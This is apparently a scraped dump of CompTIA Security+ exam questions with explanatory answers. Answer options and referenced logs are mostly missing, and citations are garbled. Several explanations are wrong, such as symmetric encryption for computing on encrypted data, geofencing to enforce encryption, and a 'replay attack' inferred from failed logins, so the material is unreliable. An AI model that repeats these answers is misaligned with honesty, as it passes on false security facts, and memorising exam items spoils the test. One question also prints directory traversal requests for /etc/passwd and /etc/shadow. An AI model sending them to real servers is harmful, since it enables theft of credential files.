After segmenting the network, the network manager wants to control the traffic between the segments. Which of the following should the manager use to control the network traffic?
After segmenting the network, a network manager can use an access control list (ACL) to control the traffic between the segments. An ACL is a set of rules that permit or deny traffic based on its characteristics, such as the source and destination IP addresses, protocol type, and port number. References: CompTIA Security+ Certification Guide, Exam SY0-501
Which of the following should a technician consider when selecting an encryption method for data that needs to remain confidential for a specific length of time?
When selecting an encryption method for data that needs to remain confidential for a specific length of time, the longevity of the encryption algorithm should be considered to ensure that the data remains secure for the required period. References: CompTIA Security+ Certification Exam Objectives - 3.2 Given a scenario, use appropriate cryptographic methods. Study Guide: Chapter 4, page 131.
Which of the following BEST describes the team that acts as a referee during a penetration-testing exercise?
During a penetration testing exercise, the white team is responsible for acting as a referee and providing oversight and support to ensure that the testing is conducted safely and effectively. They may also be responsible for determining the rules and guidelines of the exercise, monitoring the progress of the teams, and providing feedback and insights on the strengths and weaknesses of the organization's security measures.
A dynamic application vulnerability scan identified code injection could be performed using a web form. Which of the following will be BEST remediation to prevent this vulnerability?
Implementing input validations will prevent code injection attacks by verifying the type and format of user input. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 8
A security manager needs to assess the security posture of one of the organization's vendors. The contract with the vendor does not allow for auditing of the vendor's security controls. Which of (he following should the manager request to complete the assessment?
SOC 2 (Service Organization Control 2) is a type of audit report that evaluates the controls of service providers to verify their compliance with industry standards for security, availability, processing integrity, confidentiality, and privacy. A Type 2 report is based on an audit that tests the effectiveness of the controls over a period of time, unlike a Type 1 report which only evaluates the design of the controls at a specific point in time.
A SOC 2 Type 2 report would provide evidence of the vendor's security controls and how effective they are over time, which can help the security manager assess the vendor's security posture despite the vendor not allowing for a direct audit.
The security manager should request a SOC 2 Type 2 report to assess the security posture of the vendor. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 5
A new vulnerability in the SMB protocol on the Windows systems was recently discovered, but no patches are currently available to resolve the issue. The security administrator is concerned tf servers in the company's DMZ will be vulnerable to external attack; however, the administrator cannot disable the service on the servers, as SMB is used by a number of internal systems and applications on the LAN. Which of the following TCP ports should be blocked for all external inbound connections to the DMZ as a workaround to protect the servers? (Select TWO).
To protect the servers in the company’s DMZ from external attack due to the new vulnerability in the SMB protocol on the Windows systems, the security administrator should block TCP ports 139 and 445 for all external inbound connections to the DMZ.
SMB uses TCP port 139 and 445. Blocking these ports will prevent external attackers from exploiting the vulnerability in SMB protocol on Windows systems.
Blocking TCP ports 139 and 445 for all external inbound connections to the DMZ can help protect the servers, as these ports are used by SMB protocol. Port 135 is also associated with SMB, but it is not commonly used. Ports 143 and 161 are associated with other protocols and services. Reference: CompTIA Security+ Certification Exam Objectives, Exam SY0-601, 1.4 Compare and contrast network architecture and technologies.
After a hardware incident, an unplanned emergency maintenance activity was conducted to rectify the issue. Multiple alerts were generated on the SIEM during this period of time. Which of the following BEST explains what happened?
Multiple alerts were generated on the SIEM during the emergency maintenance activity due to unexpected traffic correlated against multiple rules. The SIEM generates alerts when it detects an event that matches a rule in its rulebase. If the event matches multiple rules, the SIEM will generate multiple alerts.
The following are the logs of a successful attack.
Which of the following controls would be BEST to use to prevent such a breach in the future?
To prevent such a breach in the future, the BEST control to use would be Password complexity.
Password complexity is a security measure that requires users to create strong passwords that are difficult to guess or crack. It can help prevent unauthorized access to systems and data by making it more difficult for attackers to guess or crack passwords.
The best control to use to prevent a breach like the one shown in the logs is password complexity. Password complexity requires users to create passwords that are harder to guess, by including a mix of upper and lowercase letters, numbers, and special characters. In the logs, the attacker was able to guess the user's password using a dictionary attack, which means that the password was not complex enough. References:
Which of the following roles would MOST likely have direct access to the senior management team?
A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization. A DPO is responsible for ensuring that the organization follows data protection laws and regulations, such as the General Data Protection Regulation (GDPR), and protects the privacy rights of data subjects. A DPO also acts as a liaison between the organization and data protection authorities, as well as data subjects and other stakeholders.
A DPO would most likely have direct access to the senior management team, as they need to report on data protection issues, risks, and incidents, and advise on data protection policies and practices.
The other options are not correct because:
According to CompTIA Security+ SY0-601 Exam Objectives 2.3 Given a scenario, implement secure protocols:
“A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization.”
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://gdpr-info.eu/issues/data-protection-officer/
Which of the following authentication methods is considered to be the LEAST secure?
SMS-based authentication is considered to be the least secure among the given options. This is because SMS messages can be intercepted or redirected by attackers through techniques such as SIM swapping, man-in-the-middle attacks, or exploiting weaknesses in the SS7 protocol used by mobile networks. Additionally, SMS messages can be compromised if a user's phone is lost, stolen, or infected with malware. In contrast, TOTP (Time-based One-Time Password), HOTP (HMAC-based One-Time Password), and token keys are more secure as they rely on cryptographic algorithms or physical devices to generate one-time use codes, which are less susceptible to interception or unauthorized access. Reference: 1. National Institute of Standards and Technology (NIST). (2017). Digital Identity Guidelines: Authentication and Lifecycle Management (NIST SP 800-63B). https://nvlpubs.nist.gov/nistpubs /SpecialPublications/NIST.SP.800-63b.pdf
An enterprise has hired an outside security firm to facilitate penetration testing on its network and applications. The firm has agreed to pay for each vulnerability that ts discovered. Which of the following BEST represents the type of testing that is being used?
Bug bounty is a type of testing in which an organization offers a reward or compensation to anyone who can identify vulnerabilities or security flaws in their network or applications. The outside security firm has agreed to pay for each vulnerability found, which is an example of a bug bounty program.
A systems analyst determines the source of a high number of connections to a web server that were initiated by ten different IP addresses that belong to a network block in a specific country. Which of the following techniques will the systems analyst MOST likely implement to address this issue?
A firewall is a network security system that monitors and controls incoming and outgoing network traffic based on predetermined security rules. The systems analyst can use firewall rules to block connections from the ten IP addresses in question, or from the entire network block in the specific country. This would be a quick and effective way to address the issue of high connections to the web server initiated by these IP addresses.
After a phishing scam fora user's credentials, the red team was able to craft payload to deploy on a server. The attack allowed the installation of malicious software that initiates a new remote session
Which of the following types of attacks has occurred?
"Privilege escalation is the act of exploiting a bug, design flaw, or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user." In this scenario, the red team was able to install malicious software, which would require elevated privileges to access and install. Therefore, the type of attack that occurred is privilege escalation. References: CompTIA Security+ Study Guide, pages 111-112
An employee's company account was used in a data breach Interviews with the employee revealed:
• The employee was able to avoid changing passwords by using a previous password again.
• The account was accessed from a hostile, foreign nation, but the employee has never traveled to any other countries.
Which of the following can be implemented to prevent these issues from reoccuring? (Select TWO)
two possible solutions that can be implemented to prevent these issues from reoccurring are password history and geofencing12. Password history is a feature that prevents users from reusing their previous passwords1. This can enhance password security by forcing users to create new and unique passwords periodically1. Password history can be configured by setting a policy that specifies how many previous passwords are remembered and how often users must change their passwords1.
Geofencing is a feature that restricts access to a system or network based on the geographic location of the user or device2. This can enhance security by preventing unauthorized access from hostile or foreign regions2. Geofencing can be implemented by using GPS, IP address, or other methods to determine the location of the user or device and compare it with a predefined set of boundaries2.
A security assessment found that several embedded systems are running unsecure protocols. These Systems were purchased two years ago and the company that developed them is no longer in business Which of the following constraints BEST describes the reason the findings cannot be remediated?
If the systems are running unsecure protocols and the company that developed them is no longer in business, it is likely that there are no patches available to remediate the issue. References:
Which of the following BEST describes a social-engineering attack that relies on an executive at a small business visiting a fake banking website where credit card and account details are harvested?
A social engineering attack that relies on an executive at a small business visiting a fake banking website where credit card and account details are harvested is known as whaling. Whaling is a type of phishing attack that targets high-profile individuals, such as executives, to steal sensitive information or gain access to their accounts.
An analyst Is generating a security report for the management team. Security guidelines recommend disabling all listening unencrypted services. Given this output from Nmap:
Which of the following should the analyst recommend to disable?
An organization recently acquired an ISO 27001 certification. Which of the following would MOST likely be considered a benefit of this certification?
ISO 27001 is an international standard that outlines the requirements for an Information Security Management System (ISMS). It provides a framework for managing and protecting sensitive information using risk management processes. Acquiring an ISO 27001 certification assures customers that the organization meets security standards and follows best practices for information security management. It helps to build customer trust and confidence in the organization's ability to protect their sensitive information. References: CompTIA Security+ Certification Exam Objectives, Exam Domain 1.0: Attacks, Threats, and Vulnerabilities, 1.2 Given a scenario, analyze indicators of compromise and determine the type of malware, p. 7
A company's public-facing website, https://www.organization.com, has an IP address of 126.96.36.199. However, over the past hour the SOC has received reports of the site 's homepage displaying incorrect information. A quick nslookup search shows hitps://;www.organization.com is pointing to 188.8.131.52. Which of the following is occurring?
The issue is DNS spoofing, where the DNS resolution has been compromised and is pointing to a malicious IP address. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 7
An organization wants seamless authentication to its applications. Which of the following should the organization employ to meet this requirement?
Single Sign-On (SSO) is a mechanism that allows users to access multiple applications with a single set of login credentials. References: CompTIA Security+ Study Guide 601, Chapter 6
A backdoor was detected on the containerized application environment. The investigation detected that a zero-day vulnerability was introduced when the latest container image version was downloaded from a public registry. Which of the following is the BEST solution to prevent this type of incident from occurring again?
Enforcing the use of a controlled trusted source of container images is the best solution to prevent incidents like the introduction of a zero-day vulnerability through container images from occurring again. References: CompTIA Security+ Study Guide by Emmett Dulaney, Chapter 11: Cloud Security, Container Security
An organization wants to enable built-in FDE on all laptops Which of the following should the organization ensure is Installed on all laptops?
The organization should ensure that a Trusted Platform Module (TPM) is installed on all laptops in order to enable built-in Full Disk Encryption (FDE). TPM is a hardware-based security chip that stores encryption keys and helps to protect data from malicious attacks. It is important to ensure that the TPM is properly configured and enabled in order to get the most out of FDE.
A security engineer is installing a WAF to protect the company's website from malicious web requests over SSL. Which of the following is needed to meet the objective?
A Web Application Firewall (WAF) is a security solution that protects web applications from various types of attacks such as SQL injection, cross-site scripting (XSS), and others. It is typically deployed in front of web servers to inspect incoming traffic and filter out malicious requests.
To protect the company’s website from malicious web requests over SSL, a decryption certificate is needed to decrypt the SSL traffic before it reaches the WAF. This allows the WAF to inspect the traffic and filter out malicious requests.
A security engineer needs to build @ solution to satisfy regulatory requirements that stale certain critical servers must be accessed using MFA However, the critical servers are older and
are unable to support the addition of MFA, Which of te following will the engineer MOST likely use to achieve this objective?
A jump server is a secure host that allows users to access other servers within a network. The jump server acts as an intermediary, and users can access other servers via the jump server after authenticating with MFA.
A security engineer is hardening existing solutions to reduce application vulnerabilities. Which of the following solutions should the engineer implement FIRST? (Select TWO)
Auto-update can help keep the app up-to-date with the latest security fixes and enhancements, and reduce the risk of exploitation by attackers who target outdated or vulnerable versions of the app.
Sandboxing can help isolate the app from other processes and resources on the system, and limit its access and permissions to only what is necessary. Sandboxing can help prevent the app from being affected by or affecting other applications or system components, and contain any potential damage in case of a breach.
An information security manager for an organization is completing a PCI DSS self-assessment for the first time. which of the is following MOST likely reason for this type of assessment?
PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards designed to ensure that all companies that accept, process, store, or transmit credit card information maintain a secure environment. Any organization that accepts credit card payments is required to comply with PCI DSS.
A company would like to provide flexibility for employees on device preference. However, the company is concerned about supporting too many different types of hardware. Which of the following deployment models will provide the needed flexibility with the GREATEST amount of control and security over company data and infrastructure?
Choose Your Own Device (CYOD) is a deployment model that allows employees to select from a predefined list of devices. It provides employees with flexibility in device preference while allowing the company to maintain control and security over company data and infrastructure. CYOD deployment model provides a compromise between the strict control provided by Corporate-Owned, Personally Enabled (COPE) deployment model and the flexibility provided by Bring Your Own Device (BYOD) deployment model. References: CompTIA Security+ Study Guide, Chapter 6: Securing Application, Data, and Host Security, 6.5 Implement Mobile Device Management, pp. 334-335
A retail company that is launching @ new website to showcase the company’s product line and other information for online shoppers registered the following URLs:
* www companysite com
* shop companysite com
* about-us companysite com
contact-us. companysite com
secure-logon company site com
Which of the following should the company use to secure its website if the company is concerned with convenience and cost?
The company can use a wildcard certificate to secure its website if it is concerned with convenience and cost. A wildcard certificate can secure multiple subdomains, which makes it cost-effective and convenient for securing the various registered domains.
The retail company should use a wildcard certificate if it is concerned with convenience and cost12. A wildcard SSL certificate is a single SSL/TLS certificate that can provide significant time and cost savings, particularly for small businesses. The certificate includes a wildcard character (*) in the domain name field, and can secure multiple subdomains of the primary domain1
A security engineer is reviewing the logs from a SAML application that is configured to use MFA, during this review the engineer notices a high volume of successful logins that did not require MFA from users who were traveling internationally. The application, which can be accessed without a VPB, has a policy that allows time-based tokens to be generated. Users who changed locations should be required to reauthenticate but have been Which of the following statements BEST explains the issue?
Which of the following biometric authentication methods is the MOST accurate?
Retina authentication is the most accurate biometric authentication method. Retina authentication is based on recognizing the unique pattern of blood vessels and other features in the retina. This makes it virtually impossible to duplicate or bypass, making it the most secure form of biometric authentication currently available.
A security analyst needs to implement an MDM solution for BYOD users that will allow the company to retain control over company emails residing on the devices and limit data exfiltration that might occur if the devices are lost or stolen.Which of the following would BEST meet these requirements? (Select TWO).
MDM solutions emerged to solve problems created by BYOD. With MDM, IT teams can remotely wipe devices clean if they are lost or stolen. MDM also makes the life of an IT administrator a lot easier as it allows them to enforce corporate policies, apply software updates, and even ensure that password protection is used on each device. Containerization and application whitelisting are two features of MDM that can help retain control over company emails residing on the devices and limit data exfiltration that might occur if the devices are lost or stolen.
Containerization is a technique that creates a separate and secure space on the device for work-related data and applications. This way, personal and corporate data are isolated from each other, and IT admins can manage only the work container without affecting the user’s privacy. Containerization also allows IT admins to remotely wipe only the work container if needed, leaving the personal data intact.
Application whitelisting is a technique that allows only authorized applications to run on the device. This way, IT admins can prevent users from installing or using malicious or unapproved applications that might compromise the security of corporate data. Application whitelisting also allows IT admins to control which applications can access corporate resources, such as email servers or cloud storage.
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.office1.com/blog/byod-vs-mdm
A security analyst is reviewing the vulnerability scan report for a web server following an incident. The vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability. Which of the following is the MOST likely cause?
A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers. Security patches are essential for maintaining the security and functionality of systems and applications.
If the vulnerability that was used to exploit the server is present in historical vulnerability scan reports, and a patch is available for the vulnerability, it means that the patch was either not applied or was uninstalled at some point. A possible reason for uninstalling a security patch could be user impact, such as performance degradation, compatibility issues, or functionality loss.
The other options are not correct because:
According to CompTIA Security+ SY0-601 Exam Objectives 1.4 Given a scenario, analyze potential indicators to determine the type of attack:
“A security patch is a software update that fixes a vulnerability or bug that could be exploited by attackers.”
References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.getastra.com/blog/security-audit/vulnerability-scanning-report/
Which of the following environments typically hosts the current version configurations and code, compares user-story responses and workflow, and uses a modified version of actual data for testing?
Staging is an environment in the software development lifecycle that is used to test a modified version of the actual data, current version configurations, and code. This environment compares user-story responses and workflow before the software is released to the production environment. References: CompTIA Security+ Study Guide, Sixth Edition, Sybex, pg. 496
A security analyst notices several attacks are being blocked by the NIPS but does not see anything on the boundary firewall logs. The attack seems to have been thwarted Which of the following resiliency techniques was applied to the network to prevent this attack?
Defense in depth is a resiliency technique that involves implementing multiple layers of security controls to protect against different types of threats. In this scenario, the NIPS likely provided protection at a different layer than the boundary firewall, demonstrating the effectiveness of defense in depth. References: CompTIA Security+ Certification Exam Objectives (SY0-601)
A security analyst must enforce policies to harden an MDM infrastructure. The requirements are as follows:
* Ensure mobile devices can be tracked and wiped.
* Confirm mobile devices are encrypted.
Which of the following should the analyst enable on all the devices to meet these requirements?
Geofencing is a technology used in mobile device management (MDM) to allow administrators to define geographical boundaries within which mobile devices can operate. This can be used to enforce location-based policies, such as ensuring that devices can be tracked and wiped if lost or stolen. Additionally, encryption can be enforced on the devices to ensure the protection of sensitive data in the event of theft or loss. References:
A security researcher has alerted an organization that its sensitive user data was found for sale on a website. Which of the following should the organization use to inform the affected parties?
The organization should use a communications plan to inform the affected parties. A communications plan is a document that outlines how an organization will communicate with internal and external stakeholders during a crisis or incident. It should include details such as who will be responsible for communicating with different stakeholders, what channels will be used to communicate, and what messages will be communicated.
An incident response plan is a document that outlines the steps an organization will take to respond to a security incident or data breach. A business continuity plan is a document that outlines how an organization will continue to operate during and after a disruption. A disaster recovery plan is a document that outlines how an organization will recover its IT infrastructure and data after a disaster.
An organization would like to remediate the risk associated with its cloud service provider not meeting its advertised 99.999% availability metrics. Which of the following should the organization consult for the exact requirements for the cloud provider?
The Service Level Agreement (SLA) is a contract between the cloud service provider and the organization that stipulates the exact requirements for the cloud provider. It outlines the level of service that the provider must deliver, including the minimum uptime percentage, support response times, and the remedies and penalties for failing to meet the agreed-upon service levels.
A security researcher has alerted an organization that its sensitive user data was found for sale on a website. Which of the following should the organization use to inform the affected parties?
A communications plan should be used to inform the affected parties about the sale of sensitive user data on a website. The communications plan should detail how the organization will handle media inquiries, how to communicate with customers, and how to respond to other interested parties.
Which of the following environments would MOST likely be used to assess the execution of component parts of a system at both the hardware and software levels and to measure performance characteristics?
The test environment is used to assess the execution of component parts of a system at both the hardware and software levels and to measure performance characteristics. References: CompTIA Security+ Study Guide 601, Chapter 2
A company recently experienced a major breach. An investigation concludes that customer credit card data was stolen and exfiltrated through a dedicated business
partner connection to a vendor, who is not held to the same security contral standards. Which of the following is the MOST likely source of the breach?
A supply chain attack occurs when a third-party supplier or business partner is compromised, leading to an attacker gaining unauthorized access to the targeted organization's network. In this scenario, the dedicated business partner connection to a vendor was used to exfiltrate customer credit card data, indicating that the vendor's network was breached and used as a supply chain attack vector.
A financial institution would like to store its customer data in a cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would BEST meet the requirement?
Symmetric encryption allows data to be encrypted and decrypted using the same key. This is useful when the data needs to be accessed and manipulated while still encrypted. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 6
Employees at a company are receiving unsolicited text messages on their corporate cell phones. The unsolicited text messages contain a password reset Link. Which of the attacks is being used to target the company?
Smishing is a type of phishing attack which begins with an attacker sending a text message to an individual. The message contains social engineering tactics to convince the person to click on a malicious link or send sensitive information to the attacker. Criminals use smishing attacks for purposes like:
Learn login credentials to accounts via credential phishing
Discover private data like social security numbers
Send money to the attacker
Install malware on a phone
Establish trust before using other forms of contact like phone calls or emails
Attackers may pose as trusted sources like a government organization, a person you know, or your bank. And messages often come with manufactured urgency and time-sensitive threats. This can make it more difficult for a victim to notice a scam.
Phone numbers are easy to spoof with VoIP texting, where users can create a virtual number to send and receive texts. If a certain phone number is flagged for spam, criminals can simply recycle it and use a new one.
A global company is experiencing unauthorized logging due to credential theft and account lockouts caused by brute-force attacks. The company is considering implementing a third-party identity provider to help mitigate these attacks. Which of the following would be the BEST control for the company to require from prospective vendors?
Multifactor authentication (MFA) would be the best control to require from a third-party identity provider to help mitigate attacks such as credential theft and brute-force attacks. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 2
An organization is moving away from the use of client-side and server-side certificates for EAR The company would like for the new EAP solution to have the ability to detect rogue access points. Which of the following would accomplish these requirements?
EAP-FAST (Extensible Authentication Protocol-Flexible Authentication via Secure Tunneling) supports mutual authentication and is designed to simplify the deployment of strong, password-based authentication. EAP-FAST includes a mechanism for detecting rogue access points. References:
A company is implementing a new SIEM to log and send alerts whenever malicious activity is blocked by its antivirus and web content filters. Which of the following is the primary use case for this scenario?
A Security Information and Event Management (SIEM) system is a tool that collects and analyzes security-related data from various sources to detect and respond to security incidents. References: CompTIA Security+ Study Guide 601, Chapter 5
A security engineer needs to recommend a solution to defend against malicious actors misusing protocols and being allowed through network defenses. Which of the following will the engineer most likely recommended?
A next-generation firewall (NGFW) is a solution that can defend against malicious actors misusing protocols and being allowed through network defenses. A NGFW is a type of firewall that can perform deep packet inspection, application-level filtering, intrusion prevention, malware detection, and identity-based access control. A NGFW can also use threat intelligence and behavioral analysis to identify and block malicious traffic based on protocols, signatures, or anomalies. References: https://www.comptia.org/blog/what-is-a-next-generation-firewall https://www.certblaster.com/wp-content/uploads/2020/11/CompTIA-Security-SY0-601-Exam-Objectives-1.0.pdf
The most recent vulnerability scan flagged the domain controller with a critical vulnerability. The systems administrator researched the vulnerability and discovered the domain controller
does not run the associated application with the vulnerability. Which of the following steps should the administrator take next?
A false positive is a result that indicates a problem when there is no actual problem. In this case, the vulnerability scan flagged the domain controller with a critical vulnerability, but the domain controller does not run the application that is vulnerable. Therefore, the scan result is inaccurate and should be documented as a false positive.
A. Ensure the scan engine is configured correctly. This is not the next step, because the scan engine may be configured correctly and still produce false positives due to various factors, such as outdated signatures, network latency, or misconfigured devices.
B. Apply a patch to the domain controller. This is not the next step, because applying a patch to a system that does not have the vulnerability may cause unnecessary problems or conflicts.
C. Research the CVE. This is not the next step, because the systems administrator already researched the vulnerability and discovered that it does not affect the domain controller.
D. Document this as a false positive. This is the correct answer, because documenting false positives helps to improve the accuracy and efficiency of future scans and audits.
The concept of connecting a user account across the systems of multiple enterprises is best known as:
The concept of connecting a user account across the systems of multiple enterprises is best known as federation. Federation is a process that allows users to authenticate once and access multiple resources or services across different domains or organizations. For example, a user can use their Google account to sign in to various websites or applications that support federation, without creating separate accounts or passwords for each one. Federation can improve user convenience and security, as well as reduce administrative overhead.
An engineer is setting up a VDI environment for a factory location, and the business wants to deploy a low-cost solution to enable users on the shop floor to log in to the VDI environment directly. Which of the following should the engineer select to meet these requirements?
Thin clients are devices that rely on a server or a cloud service to perform most of the processing and storage tasks, while only providing a minimal interface for the user. Thin clients are low-cost solutions that can enable users on the shop floor to log in to the VDI (virtual desktop infrastructure) environment directly, without requiring a full-fledged computer or laptop.
A large financial services firm recently released information regarding a security breach within its corporate network that began several years before. During the time frame in which the breach occurred, indicators show an attacker gained administrative access to the network through a file downloaded from a social media site and subsequently installed it without the user's knowledge. Since the compromise, the attacker was able to take command and control of the computer systems anonymously while obtaining sensitive corporate and personal employee information. Which of the following methods did the attacker most likely use to gain access?
A RAT (Remote Access Trojan) is a type of malware that allows an attacker to remotely access and control a compromised system without the user’s knowledge or consent. A RAT can perform various malicious activities on the system, such as stealing data, installing other malware, deleting files, modifying settings, capturing keystrokes, recording audio or video, etc. In this case, the attacker most likely used a RAT to gain administrative access to the network through a file downloaded from a social media site and subsequently installed it without the user’s knowledge
A routine audit of medical billing claims revealed that several claims were submitted without the subscriber's knowledge A review of the audit logs for the medical billing company's system indicated a company employee downloaded customer records and adjusted the direct deposit information to a personal bank account Which of the following does this action describe?
An insider threat is a threat to an organization that comes from negligent or malicious insiders, such as employees, former employees, contractors, third-party vendors, or business partners, who have inside information about cybersecurity practices, sensitive data, and computer systems. The action described in the question is an example of a malicious insider threat, where an employee intentionally misused their authorized access to harm the organization by stealing customer records and diverting funds to their personal bank account. References: What Is an Insider Threat? Definition, Types, and Prevention - Fortinet; What are insider threats? | IBM; What Is an Insider Threat? Definition, Examples, and Mitigations; Insider Threat Mitigation | Cybersecurity and Infrastructure … - CISA
A security administrator received an alert for a user account with the following log activity:
Which of the following best describes the trigger for the alert the administrator received?
Impossible travel time is an anomaly detection that indicates a possible compromise of a user account. It occurs when the same user connects from two different countries and the time between those connections is shorter than the time it would take to travel from the first location to the second by conventional means. This suggests that a different user is using the same credentials or that a proxy or VPN is being used to mask the true location. The log activity shows that the user connected from two different IP addresses in different countries (US and Brazil) within a span of 37 minutes, which is impossible to achieve by normal travel. References: Detecting and Remediating Impossible Travel - Microsoft Community Hub; Anomaly detection policies - Microsoft Defender for Cloud Apps; Understanding Microsoft 365 Impossible Travel Rules | Blumira
A secondly administration is trying to determine whether a server is vulnerable to a range of attacks After using a tool, the administrator obtains the following output.
Which of the following attacks was successfully implemented based on the output?
The directory traversal attack was successfully implemented based on the output. The output shows that the administrator used a tool called Nikto, which is a web server scanner that can detect vulnerabilities and misconfigurations3. The output also shows that Nikto found several files and directories that should not be accessible by web users, such as “/etc/passwd”, “/var/log”, “/etc/shadow”, etc. This indicates that the web server or application has a vulnerability that allows an attacker to manipulate the file path and access arbitrary files on the server. This is a type of attack known as directory traversal, which can lead to information disclosure, privilege escalation, or remote code execution.
A systems administrator is auditing all company servers to ensure they meet the minimum security baseline While auditing a Linux server the systems administrator observes the /etc/ahadow file has permissions beyond the baseline recommendation. Which of the following commands should the systems administrator use to resolve this issue?
chmod is a Linux command that can be used to change or modify the permissions of files and directories. The /etc/shadow file is a system file that stores the encrypted passwords of user accounts in Linux. The /etc/shadow file should have restricted permissions to prevent unauthorized access or modification of the passwords. The recommended permissions for the /etc/shadow file are read/write for root user only (600). If the systems administrator observes that the /etc/shadow file has permissions beyond the baseline recommendation, they can use the chmod command to resolve this issue by setting the appropriate permissions for the file. For example, chmod 600 /etc/shadow would set the permissions of the /etc/shadow file to read/write for root user only. 181920 References: CompTIA Security+ SY0-601 Certification Study Guide, Chapter 9: Implementing Identity and Access Management Controls, page 404; chmod - Wikipedia; Linux /etc/shadow file - nixCraft; How to Change File Permissions in Linux - Linuxize
A security analyst receives a SIEM alert that someone logged in to the app admin test account, which is only used for the early detection of attacks. The security analyst then reviews the following application log:
Which of the following can the security analyst conclude?
A replay attack is a type of network attack where an attacker captures and retransmits a valid data transmission, such as a login request, to gain unauthorized access or impersonate a legitimate user. In this case, the attacker may have captured the credentials of the app admin test account and used them to log in to the application. The application log shows multiple failed login attempts from different IP addresses, which indicates a replay attack.
Which of the following exercises should an organization use to improve its incident response process?
A tabletop exercise is a type of simulation exercise that involves discussing hypothetical scenarios and testing the incident response plan in a low-stress environment. A tabletop exercise can help an organization to improve its incident response process by identifying gaps, weaknesses, roles, responsibilities, communication channels, etc., and by evaluating the effectiveness and efficiency of the plan.
A threat actor used a sophisticated attack to breach a well-known ride-sharing. company. The threat actor posted on social media that this action was in response to the company's treatment of its drivers Which of the following best describes tm type of throat actor?
A threat actor who used a sophisticated attack to breach a well-known ride-sharing company and posted on social media that this action was in response to the company’s treatment of its drivers is most likely a hacktivist. A hacktivist is a person who uses hacking skills to promote a social or political cause, such as human rights, environmentalism, or anti-corporatism5.
Which of the following agreements defines response time, escalation points, and performance metrics?
A service level agreement (SLA) defines response time, escalation points, and performance metrics. An SLA is a contract between a service provider and a customer that specifies the level and quality of service that will be delivered. An SLA typically includes metrics such as availability, reliability, throughput, latency, security, etc., as well as penalties or remedies for failing to meet them. An SLA also defines how issues will be reported and resolved, how often reviews will be conducted, and how changes will be communicated.
An organization is outlining data stewardship roles and responsibilities. Which of the following employee roles would determine the purpose of data and how to process it?
A data controller is an employee role that would determine the purpose of data and how to process it. A data controller is a person or entity that decides why and how personal data is collected, used, stored, shared, or deleted. A data controller has the responsibility to comply with data protection laws and regulations, such as the General Data Protection Regulation (GDPR), and to ensure the rights and privacy of data subjects. References: https://www.comptia.org/blog/what-is-a-data-controller https://www.certblaster.com/wp-content/uploads/2020/11/CompTIA-Security-SY0-601-Exam-Objectives-1.0.pdf
A security analyst is reviewing SIEM logs during an ongoing attack and notices the following:
http://company.com/get php? f=/etc/passwd
http://company.com/..%2F. .42F..42F.. $2Fetct2Fshadow
http: //company.com/../../../ ../etc/passwd
Which of the following best describes the type of attack?
Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files1. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server1.
Directory traversal in its simplest form uses the …/ pattern, which means to step up one level in the directory structure. By repeating this pattern, an attacker can traverse to the root directory and then access any file or folder on the server. For example, the following request attempts to read the Unix password file /etc/passwd from the server:
Some web applications may implement some defenses against directory traversal attacks, such as filtering out …/ patterns or percent-decoding the user input before validating it. However, these defenses can often be bypassed by using variations or encoding techniques. For example, the following requests use different ways to represent …/ or / characters:
These requests may still result in directory traversal attacks if the web application does not properly handle them12.
A. SQLi. This is not the correct answer, because SQLi stands for SQL Injection, which is an attack that exploits a vulnerability in a web application’s database layer, where malicious SQL statements are inserted into an entry field for execution3. The requests in the question do not contain any SQL statements or commands.
B. CSRF. This is not the correct answer, because CSRF stands for Cross-Site Request Forgery, which is an attack that exploits the trust a web server has in a user’s browser, where malicious requests are sent to the web server using the user’s credentials4. The requests in the question do not indicate that they are forged or sent by another website.
C. API attacks. This is not the correct answer, because API stands for Application Programming Interface, which is a set of rules and specifications that allow software components to communicate and exchange data. API attacks are attacks that target the vulnerabilities or weaknesses of APIs, such as authentication, authorization, encryption, rate limiting, or input validation5. The requests in the question do not target any specific API functionality or feature.
D. Directory traversal. This is the correct answer, because directory traversal is an attack that exploits insufficient security validation or sanitization of user-supplied file names, such that characters representing “traverse to parent directory” are passed through to the operating system’s file system API12. The requests in the question contain various patterns of …/ or / characters that attempt to access restricted files and directories on the server.
A company is designing the layout of a new data center so it will have an optimal environmental temperature Which of the following must be included? (Select two).
A cold aisle and a hot aisle are design strategies for data centers that aim to improve the cooling efficiency and reduce the energy consumption. They involve lining up server racks in alternating rows with cold air intakes facing one side (the cold aisle) and hot air exhausts facing the other side (the hot aisle). This prevents the mixing of hot and cold air and creates a more uniform temperature distribution. The cold aisles receive cold air from the cooling units, while the hot aisles return hot air to the cooling units. This improves the performance and reliability of the IT equipment and lowers the cooling costs. References: Hot and Cold-Aisle Containment - Advantages & Disadvantages - AKCP; Hot Aisle Containment vs. Cold Aisle Containment: Which is Better for the Data Center? - Upsite; Aisle Containment Systems FAQ for Hot & Cold Aisle Solutions - Cool Shield; Hot and Cold Aisle Containment Differences - AKCP Monitoring; What is Hot Aisle/Cold Aisle? - Definition from Techopedia
An internet company has created a new collaboration application. To expand the user base, the company wants to implement an option that allows users to log in to the application with the
credentials of her popular websites. Which of the following should the company implement?
